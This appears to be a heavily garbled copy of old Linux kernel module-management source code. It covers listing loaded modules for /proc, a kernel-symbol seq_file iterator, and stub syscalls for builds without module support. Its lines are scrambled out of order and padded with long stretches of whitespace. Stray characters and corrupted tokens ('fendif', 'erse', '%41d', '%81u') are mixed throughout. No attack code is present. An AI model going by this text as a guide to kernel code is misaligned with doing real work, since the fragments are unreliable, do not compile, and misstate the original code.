                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   strncpy(ksym.name, msym->name,
                           continue;
                                                                                                                                                                                                                                                                   dep->dep->flags |= MOD_JUST_FREED;
                                                                                                                                                                                                                                                                                                                        = dep->next_ref;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int tag_freed)
                                                    mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   sizeof(ksym.name));
                                                  <u>.</u>
                                                    p->next)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #define safe_copy_cstr(str)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      modules.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            #define safe_copy_str(str, len)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       int get_module_list(char *p)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           /*Called by the /proc file system to return a current list of
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     spin_unlock_irqrestore(&modlist_lock, flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct module_ref *ref;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               char tmpstr[64];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct module *mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      size_t left = PAGE_SIZE;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     module_unmap(mod);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /* And free the memory.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for (mod = module_list; mod != &kernel_module; mod = mod->next) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     do
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        const char *q;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 long len;
                                                                                                                              else if (mod->flags & MOD_INITIALIZING)
safe_copy_cstr(" (initializing)");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           safe_copy_str(mod->name, len);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      len = strlen(mod->name);
                                                  if ((ref = mod->refs)
                                                                                                         else
                                                                                                                                                                                                                                                                                                                          else if (mod->flags & MOD_RUNNING)
                                                                                                                                                                                                                                                                                                                                                                               if (mod->flags & MOD_DELETED
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (mod->flags & MOD_RUNNING) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                safe_copy_str(tmpstr, len);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     len = sprintf(tmpstr,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if ((len = 20 - len) > 0) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         while (0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              memcpy(p, str, len); p += len,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (left < len)
                       safe_copy_cstr(" [");
                                                                                                                                                                                                                                        if (!(mod->flags & MOD_USED_ONCE))
                                                                                                                                                                                                                                                                                               if (mod->flags & MOD_AUTOCLEAN)
                                                                                                                                                                                                                                                                                                                                             safe_copy_cstr(" (deleted)");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               memset(p, '',
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (left < len)
                                                                            safe_copy_cstr(" (uninitialized)");
                                                                                                                                                                                                                                                                                                                                                                                                                              safe_copy_str(tmpstr, len);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               left -= len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            len = sprintf(tmpstr, "%41d",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                goto fini;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               goto fini;
                                                                                                                                                                                                            safe_copy_cstr(" (unused)");
                                                                                                                                                                                                                                                                   safe_copy_cstr(" (autoclean)");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       && mod->can_unload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  [mod_member_present (mod,
                                                                                                                                                                                                                                                                                                                                                                                                                                                           -1L : (long)atomic_read(&mod->uc.usecount)));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "%81u", mod->size);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                safe_copy_str(str, sizeof(str)-1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       left
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              can_unload)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  len;
```

```
static void *s_next(struct seq_file *m,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        static void *s_start(struct seq_file *m,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct mod_sym {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fini:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #undef safe_copy_cstr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #undef safe_copy_str
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                *Called by the /proc file system to return a current list of ksyms.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       * iterator */
                                                                                                                                                                                                                                                                                                                                                                   kfree(p);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return PAGE_SIZE - left;
                                                                                                                                                                                                                                                   struct mod_sym *v = p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                for
                                                                                                                                                                                                                                                                                                                                                   return NULL;
                                                                                                                                                                                                                                                                                                                                                                                              unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            struct module *v;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               struct mod_sym *p = kmalloc(sizeof(*p), GFP_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     int index;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct module *mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     loff_t n = *pos;
                                                                                                                                                                                                                                  (*pos)++;
                                                                                                                                                                                                         (++v->index >= v->mod->nsyms) {
v->index = 0;
                   } while (!v->mod->nsyms);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         return ERR_PTR(-ENOMEM);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  safe_copy_cstr("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (n < v->nsyms) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (v = module_list,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         p->index = n;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                p->mod = v;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               safe_copy_cstr("]");
                                                                                                                                      if (!v->mod)
                                                                                                                                                           v->mod = v->mod->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return p;
                                                                                        kfree(p);
                                                                                                                unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      q = ref->ref->name;
                                                                 return NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          erse
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       safe_copy_str(q, len);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if ((ref = ref->next_ref)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               len = strlen(q);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        safe_copy_cstr(" ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *pos; v; n
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   != NULL)
                                                                                                                                                                                                                                                                                                    void *p,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ì
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            loff_t *pos)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        v-nsyms, v = v-next)
                                                                                                                                                                                                                                                                                                  loff_t *pos)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            static void s_stop(struct seq_file *m,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                asmlinkage unsigned long
                                                                                                                                                        sys_get_kernel_syms(struct kernel_sym *table)
                                                                                                                                                                                 asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                         asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                  sys_delete_module(const char *name_user)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sys_init_module(const char *name_user, struct module *mod_user)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sys_create_module(const char *name_user, size_t size)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /* Dummy syscalls for people who don't want modules */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   #else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      struct seq_operations ksyms_op = {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             static int s_show(struct seq_file
                                                                                                                                                                                                                                                                                                                                               bufsize,
                                                                                                                                                                                                                                                                                                                                                                   sys_query_module(const char *name_user, int which, char *buf, size_t
                                                                 fendif
                                                                                                           int try_inc_mod_count(struct module *mod)
                                                                                                                                                                                                                                                                                                /* Let the program know about the new interface.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      struct mod_sym *v =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (p && !IS_ERR(p)) {
                                                                                       return 1;
                                                                                                                                return -ENOSYS; }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return -ENOSYS; }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               show: s_show
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      stop: s_stop,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            next: s_next,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    start:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct module_symbol *sym;
if (!MOD_CAN_QUERY(v->mod))
                                                                                                                                                                                                                                                                                                                                                                                                                return -ENOSYS; )
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return 0; )
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return p,
                                                                                                                                                                                                                                                      if (which == 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return -ENOSYS; }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sym = &v->mod->syms[v->index];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (*v->mod->name)
                                                                                                                                                                                                       return -ENOSYS;)
                                                                                                                                                                                                                                                                       it'll do them much good.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          seq_printf(m, "%0*lx %s\t[%s]\n", (int)(2*sizeof(void*)),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  unlock_kernel();
                                                                                                                                                                                                                             return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            seq_printf(m, "%0*1x %s\n", (int)(2*sizeof(void*)),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            kfree(p);
                                                                                                                                                                                                                                                                                                                       size_t *ret)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* CONFIG_MODULES */
                                                               /* CONFIG_MODULES */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    s_start,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     sym->value,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sym->value, sym->name, v->mod->name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     sym->name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ,‡
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            void *p)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                void
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ď.
                                                                                                                                                                                                                                                                                                  Not that
```